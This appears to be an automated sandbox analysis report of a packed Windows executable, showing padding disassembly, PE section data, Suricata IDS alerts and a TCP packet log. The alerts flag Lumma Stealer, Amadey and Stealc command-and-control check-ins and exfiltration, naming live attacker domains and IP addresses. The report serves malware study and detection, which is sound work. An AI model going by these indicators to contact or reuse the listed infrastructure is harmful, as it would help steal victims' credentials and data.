add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh
inc dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	45a679a475c7235c869629e32ff7aa9e	False	0.9981325920846394	data	7.984648615988983	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yswfrwhx	0x5b000	0x2a0000	0x29f400	8117e9dc95927ac386a6cacdcccf779e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
eypvdvsa	0x2fb000	0x1000	0x400	22e024fc3766120575145a53e8eb0ad3	False	0.859375	data	6.4673005047144585	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2fc000	0x3000	0x2200	d06d61e197fc0c18e31c05e47b8137af	False	0.05721507352941176	DOS executable (COM)	0.6505687247324279	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-31T05:06:00.601047+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	59698	1.1.1.1	53	UDP
2024-10-31T05:06:00.643812+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	51371	1.1.1.1	53	UDP
2024-10-31T05:06:00.655207+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	54156	1.1.1.1	53	UDP
2024-10-31T05:06:00.667603+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	54274	1.1.1.1	53	UDP
2024-10-31T05:06:00.680331+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	60775	1.1.1.1	53	UDP
2024-10-31T05:06:01.327812+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T05:06:02.124089+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T05:06:02.124089+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	188.114.97.3	443	TCP
2024-10-31T05:06:02.804466+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T05:06:03.113468+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T05:06:03.113468+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	188.114.97.3	443	TCP
2024-10-31T05:06:03.947710+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49732	188.114.97.3	443	TCP
2024-10-31T05:06:04.553101+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49732	188.114.97.3	443	TCP
2024-10-31T05:06:05.252786+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49733	188.114.97.3	443	TCP
2024-10-31T05:06:06.790541+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49734	188.114.97.3	443	TCP
2024-10-31T05:06:08.371531+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49735	188.114.97.3	443	TCP
2024-10-31T05:06:10.218514+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-31T05:06:32.465521+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49743	188.114.97.3	443	TCP
2024-10-31T05:06:32.896204+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49743	188.114.97.3	443	TCP
2024-10-31T05:06:33.849364+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49744	185.215.113.16	80	TCP
2024-10-31T05:07:04.635257+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49781	185.215.113.43	80	TCP
2024-10-31T05:07:08.000848+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49803	185.215.113.16	80	TCP
2024-10-31T05:07:14.894480+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	64189	1.1.1.1	53	UDP
2024-10-31T05:07:14.905983+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	59708	1.1.1.1	53	UDP
2024-10-31T05:07:14.917324+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	52091	1.1.1.1	53	UDP
2024-10-31T05:07:14.929269+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	55821	1.1.1.1	53	UDP
2024-10-31T05:07:15.000247+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49797	TCP
2024-10-31T05:07:15.561454+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49844	188.114.97.3	443	TCP
2024-10-31T05:07:15.905526+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49845	185.215.113.43	80	TCP
2024-10-31T05:07:16.061085+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49844	188.114.97.3	443	TCP
2024-10-31T05:07:16.061085+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49844	188.114.97.3	443	TCP
2024-10-31T05:07:16.740399+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49857	188.114.97.3	443	TCP
2024-10-31T05:07:16.825709+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49851	185.215.113.16	80	TCP
2024-10-31T05:07:17.452718+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49857	188.114.97.3	443	TCP
2024-10-31T05:07:17.452718+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49857	188.114.97.3	443	TCP
2024-10-31T05:07:18.367391+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49866	188.114.97.3	443	TCP
2024-10-31T05:07:19.921422+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49874	188.114.97.3	443	TCP
2024-10-31T05:07:22.080180+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49890	188.114.97.3	443	TCP
2024-10-31T05:07:24.739883+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49902	188.114.97.3	443	TCP
2024-10-31T05:07:25.546983+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49907	185.215.113.43	80	TCP
2024-10-31T05:07:26.355719+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49914	188.114.97.3	443	TCP
2024-10-31T05:07:26.462209+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49914	188.114.97.3	443	TCP
2024-10-31T05:07:26.483010+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49913	185.215.113.16	80	TCP
2024-10-31T05:07:28.178188+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49925	185.215.113.206	80	TCP
2024-10-31T05:07:28.844562+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49931	188.114.97.3	443	TCP
2024-10-31T05:07:29.435772+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	64384	1.1.1.1	53	UDP
2024-10-31T05:07:29.449138+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	52268	1.1.1.1	53	UDP
2024-10-31T05:07:29.459110+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	53359	1.1.1.1	53	UDP
2024-10-31T05:07:29.467174+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	55832	1.1.1.1	53	UDP
2024-10-31T05:07:29.746084+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49931	188.114.97.3	443	TCP
2024-10-31T05:07:30.098571+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49939	188.114.97.3	443	TCP
2024-10-31T05:07:30.617424+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49939	188.114.97.3	443	TCP
2024-10-31T05:07:30.617424+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49939	188.114.97.3	443	TCP
2024-10-31T05:07:30.667250+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49943	185.215.113.16	80	TCP
2024-10-31T05:07:31.459353+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49949	188.114.97.3	443	TCP
2024-10-31T05:07:31.882789+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49949	188.114.97.3	443	TCP
2024-10-31T05:07:31.882789+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49949	188.114.97.3	443	TCP
2024-10-31T05:07:32.773482+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49955	188.114.97.3	443	TCP
2024-10-31T05:07:33.200550+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49959	185.215.113.43	80	TCP
2024-10-31T05:07:34.115833+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49965	185.215.113.16	80	TCP
2024-10-31T05:07:34.115833+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49965	185.215.113.16	80	TCP
2024-10-31T05:07:34.228911+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49968	188.114.97.3	443	TCP
2024-10-31T05:07:36.230606+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49983	188.114.97.3	443	TCP
2024-10-31T05:07:39.695929+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50001	185.215.113.206	80	TCP
2024-10-31T05:07:40.976902+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50009	185.215.113.43	80	TCP
2024-10-31T05:07:43.615777+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50032	188.114.97.3	443	TCP
2024-10-31T05:07:46.995592+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50048	185.215.113.206	80	TCP
2024-10-31T05:07:47.660998+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50050	188.114.97.3	443	TCP
2024-10-31T05:07:49.406757+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50052	188.114.97.3	443	TCP
2024-10-31T05:07:54.649272+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50055	185.215.113.206	80	TCP
2024-10-31T05:08:05.293703+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	57389	1.1.1.1	53	UDP
2024-10-31T05:08:05.321785+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	59761	1.1.1.1	53	UDP
2024-10-31T05:08:05.334015+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	59855	1.1.1.1	53	UDP
2024-10-31T05:08:05.346733+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	57852	1.1.1.1	53	UDP
2024-10-31T05:08:05.983696+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	50066	188.114.97.3	443	TCP
2024-10-31T05:08:06.720644+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50066	188.114.97.3	443	TCP
2024-10-31T05:08:06.720644+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50066	188.114.97.3	443	TCP
2024-10-31T05:08:11.637848+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50077	185.215.113.206	80	TCP
2024-10-31T05:08:29.293245+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50111	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 05:06:00.695329905 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:00.695379019 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:00.695471048 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:00.698446989 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:00.698465109 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:01.327621937 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:01.327811956 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:01.352093935 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:01.352128983 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:01.353240013 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:01.400517941 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:01.708838940 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:01.708889961 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:01.709192991 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:02.124125957 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:02.124241114 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:02.124313116 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:02.125936031 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:02.125957012 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:02.125977039 CET	49730	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:02.125984907 CET	443	49730	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:02.178857088 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:02.178925037 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:02.179019928 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:02.179363966 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:02.179394007 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:02.804152966 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:02.804466009 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:02.806027889 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:02.806036949 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:02.806395054 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:02.807729006 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:02.807756901 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:02.807816982 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.113586903 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.113720894 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.113770962 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:03.113784075 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.113960028 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.114012957 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:03.114017963 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.114172935 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.114224911 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:03.114229918 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.114331007 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.114379883 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:03.114383936 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.114501953 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.114557028 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:03.114562035 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.166066885 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:03.233069897 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.233280897 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.233351946 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:03.233365059 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.233392000 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.233433962 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:03.233469963 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.233707905 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.233772039 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:03.233819962 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:03.233833075 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.233843088 CET	49731	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:03.233849049 CET	443	49731	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.344506979 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:03.344624043 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.344717979 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:03.345071077 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:03.345108032 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.947454929 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.947710037 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:03.948895931 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:03.948925972 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.949309111 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.950371981 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:03.950536013 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:03.950587988 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:03.950654984 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:03.950671911 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:04.553113937 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:04.553215027 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:04.553291082 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:04.553538084 CET	49732	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:04.553576946 CET	443	49732	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:04.626765013 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:04.626812935 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:04.626892090 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:04.627196074 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:04.627213955 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:05.252614021 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:05.252785921 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:05.254431963 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:05.254445076 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:05.254693985 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:05.256499052 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:05.256669044 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:05.256697893 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:05.976156950 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:05.976262093 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:05.976345062 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:05.976538897 CET	49733	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:05.976558924 CET	443	49733	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:06.164479017 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:06.164580107 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:06.164716005 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:06.165077925 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:06.165112972 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:06.790395021 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:06.790540934 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:06.792072058 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:06.792098999 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:06.792346001 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:06.795260906 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:06.795449972 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:06.795499086 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:06.795588970 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:06.795609951 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:07.435709000 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:07.435992956 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:07.435997009 CET	443	49734	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:07.436065912 CET	49734	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:07.760957003 CET	49735	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:06:07.760998964 CET	443	49735	188.114.97.3	192.168.2.4
Oct 31, 2024 05:06:07.761080980 CET	49735	443	192.168.2.4	188.114.97.3
